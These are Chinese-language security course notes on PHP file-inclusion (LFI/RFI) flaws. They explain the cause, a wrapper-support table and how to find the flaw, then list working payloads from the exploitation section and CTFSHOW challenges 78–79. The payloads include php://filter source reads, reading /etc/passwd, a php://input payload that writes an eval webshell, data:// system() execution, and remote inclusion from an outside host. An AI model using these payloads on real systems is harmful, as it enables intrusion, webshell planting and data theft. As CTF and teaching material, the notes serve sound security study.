50

➢文件包含-原理&分类&利用&修复
➢黑盒利用-VULWEB-有无包含文件
➢白盒利用-CTFSHOW-伪协议玩法

#文件包含-原理&分类&利用&修复

▼ 1、原理

程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某些函数时，直接调用此文件，而无须再次编写，这种调用文件的过程一般被称为文件包含。
在包含文件的过程中，**如果文件能进行控制，则存储文件包含漏洞**

文件包含：包含的文件就被当作当前脚本语言去代码执行了

漏洞原因：1、使用的文件包含函数；2、包含的文件可控

▼ 1.1、分类

本地（服务器文件）包含-Local File Include-LFI

- 有文件利用：上传一个文件，文件写有恶意代码（配合上传）
- 无文件利用：

1. 包含日志文件利用
2. 包含session文件利用
3. 伪协议玩法利用

远程包含-Remote File Include-RFI：**直接搭建一个可访问的远程URL包含文件**

- http://192.168.xxx.x:87/include.php?file=http://47.94.236.117/file.txt

差异原因：**代码过滤和环境配置文件开关**决定

	PHP	Java	curl	Perl	ASP.NET
http	✔	✔	✔	✔	✔
https	✔	✔	✔	✔	✔
gopher	—with-curlwrappers	before JDK 1.7	before 7.49.0 不支持\x00	✔	before version 3
tftp	—with-curlwrappers	✗	before 7.49.0 不支持\x00	✗	✗
dict	—with-curlwrappers	✗	✔	✗	✗
file	✔	✔	✔	✔	✔
ftp	✔	✔	✔	✔	✔
imap	—with-curlwrappers	✗	✔	✔	✗
pop3	—with-curlwrappers	✗	✔	✔	✗
rtsp	—with-curlwrappers	✔	✔	✔	✔
smb	—with-curlwrappers	✔	✔	✔	✔
smtp	—with-curlwrappers	✗	✔	✗	✗
telnet	—with-curlwrappers	✗	✔	✗	✗
ssh2	受限于 allow_url_fopen	✗	✗	受限于 Net:SSH2	✗
ogg	受限于 allow_url_fopen	✗	✗	✗	✗
expect	受限于 allow_url_fopen	✗	✗	✗	✗
ldap	✗	✗	✗	✔	✗
php	✔	✗	✗	✗	✗
zlib/bzip2/zip	受限于 allow_url_fopen	✗	✗	✗	✗

协议	测试PHP版本	allow_url_fopen	allow_url_include	用法
file://	>=5.2	off/on	off/on	?file=file://D:/soft/phpStudy/WWW/phpcode.txt
php://filter	>=5.2	off/on	off/on	?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input	>=5.2	off/on	on	?file=php://input 【POST DATA】 <?php phpinfo()?>
zip://	>=5.2	off/on	off/on	?file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txt
compress.bzip2://	>=5.2	off/on	off/on	?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2 【or】 ?file=compress.bzip2:///file.bz2
compress.zlib://	>=5.2	off/on	off/on	?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz 【or】 ?file=compress.zlib:///file.gz
data://	>=5.2	on	on	?file=data://text/plain,<?php phpinfo()?> 【or】 ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 也可以： ?file=data:text/plain,<?php phpinfo()?> 【or】 ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

▼ 2、白盒审计：（CTFSHOW）

▼ -白盒发现：

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

PHP：**include、require、include_once、require_once**等

include在包含的过程中如果出现错误，会抛出一个警告，程序继续正常运行

require函数出现错误的时候，会直接报错并退出程序的执行

Java：java.io.File、java.io.FileReader等

ASP.NET：**System.IO.FileStream、System.IO.StreamReader**等

▼ 3、黑盒分析：

▼ -黑盒发现：

主要**观察参数传递的数据和文件名是否对应**

URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼

▼ 4、利用

▼ 本地利用思路：

1、配合文件上传

2、无文件包含日志

3、无文件包含SESSION

4、无文件支持伪协议利用

参考：https://blog.csdn.net/unexpectedthing/article/details/121276653

▼ -文件读取：

1. (绝对路径)`file:///etc/passwd`
2. (相对路径)`php://filter/read=convert.base64-encode/resource=phpinfo.php`

▼ -文件写入：

1. `php://filter/write=convert.base64-encode/resource=phpinfo.php`（还需要给一个参数，CTF常考但不常用）`file_put_contents($_GET['file'],$_POST['content']);`
2. `php://input` + POST传输:`<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>`

▼ -代码执行：

1. `php://input` POST:`<?php phpinfo();?>`
2. `data://text/plain,<?php phpinfo();?>`
3. `data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b`

▼ 远程利用思路：

直接搭建一个可访问的远程URL包含文件

▼ 5、修复见网上参考方案

▼ #黑盒利用-VULWEB-有无包含文件

http://testphp.vulnweb.com/showimage.php?file=index.php

▼ #白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges

▼ 78-php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:<?php system('tac flag.php');?>
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

▼ 79-data&http协议

payload: ?file=data://text/plain,<?=system('tac flag.*');?>
payload: ?
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

▼